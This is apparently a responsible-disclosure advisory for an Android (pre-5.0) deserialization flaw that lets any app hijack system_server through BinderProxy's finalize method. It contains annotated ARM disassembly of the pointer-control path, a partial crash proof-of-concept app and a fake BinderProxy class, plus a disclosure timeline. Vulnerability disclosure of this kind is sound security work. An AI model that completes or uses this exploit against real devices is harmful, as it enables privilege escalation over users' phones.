In Android <5.0, java.io.ObjectInputStream did not check whether the Object that is being deserialized is actually serializable. That issue was fixed in Android 5.0 with this commit: <https://android.googlesource.com/platform/libcore/+/738c833d38d41f8f76eb7e77ab39add82b1ae1e2>
This means that when ObjectInputStream is used on untrusted inputs, an attacker can cause an instance of any class with a non-private parameterless constructor to be created. All fields of that instance can be set to arbitrary values. The malicious object will then typically either be ignored or cast to a type to which it doesn''t fit, implying that no methods will be called on it and no data from it will be used. However, when it is collected by the GC, the GC will call the object''s finalize method.
The android system_service runs under uid 1000 and can change into the context of any app, install new applications with arbitrary permissions and so on. Apps can talk to it using Intents with attached Bundles, Bundles are transferred as arraymap Parcels and arraymap Parcels can contain serialized data. This means that any app can attack the system_service this way.
The class android.os.BinderProxy contains a finalize method that calls into native code. This native code will then use the values of two fields of type int/long (depends on the Android version), cast them to pointers and follow them. On Android 4.4.3, this is where one of those pointers ends up. r0 contains the attacker-supplied pointer, and if the attacker can insert data into the process at a known address, he ends up gaining arbitrary code execution in system_server:
# attacker controls pointer in r0
0000d1c0 <android::RefBase::decStrong(void const*) const>:
d1c0: b570 push {r4, r5, r6, lr}
d1c2: 4605 mov r5, r0
d1c4: 6844 ldr r4, [r0, #4] # attacker controls r4
d1c6: 460e mov r6, r1
d1c8: 4620 mov r0, r4
d1ca: f7fd e922 blx a410 <android_atomic_dec () plt>
d1ce: 2801 cmp r0, #1
d1d0: d10b bne.n d1ea
<android::RefBase::decStrong(void const*) const+0x2a>
d1d2: 68a0 ldr r0, [r4, #8] # attacker controls r0
d1d4: 4631 mov r1, r6
d1d6: 6803 ldr r3, [r0, #0] # attacker controls r3
d1d8: 68da ldr r2, [r3, #12] # attacker controls r2
d1da: 4790 blx r2 # jump into attacker-controlled r2 pointer
Android does have ASLR, but like all apps, system_server is forked from the zygote process - in other words, all apps have the same basic memory layout as system_server and should therefore be able to circumvent system_server''s ASLR.
Here''s my crash PoC code. Put it in an android app, install that app, open it. If nothing happens, the GC might be taking its time - try doing other stuff or reopening the PoC app or so. Your device should do something like a reboot after a few seconds.
public class MainActivity extends Activity {
private static final java.lang.String DESCRIPTOR = "android.os.IUserManager";
private Class clStub;
private Class clProxy;
private int TRANSACTION_setApplicationRestrictions;
private IBinder mRemote;
Field fRemote = clProxy.getDeclaredField("mRemote");
fRemote.setAccessible(true);
mRemote = (IBinder) fRemote.get(proxy);
UserHandle me = android.os.Process.myUserHandle();
setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());
Log.i("badserial", "waiting for boom here and over in the system service...");
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
===============================================================================
package AAdroid.os;
import java.io.Serializable;
public class BinderProxy implements Serializable {
private static final long serialVersionUID = 0;
public long mObject = 0x1337beef;
public long mOrgue = 0x1337beef;
}
===============================================================================
Timeline:
22.06.2014 - 26.06.2014 issue reported, PoC shared,
issue verified by security () android com
around 03.11.2014 patch published as part of the AOSP code release
07.11.2014 - 19.11.2014 asked Android team whether disclosing this is OK now,
got CVE number from them
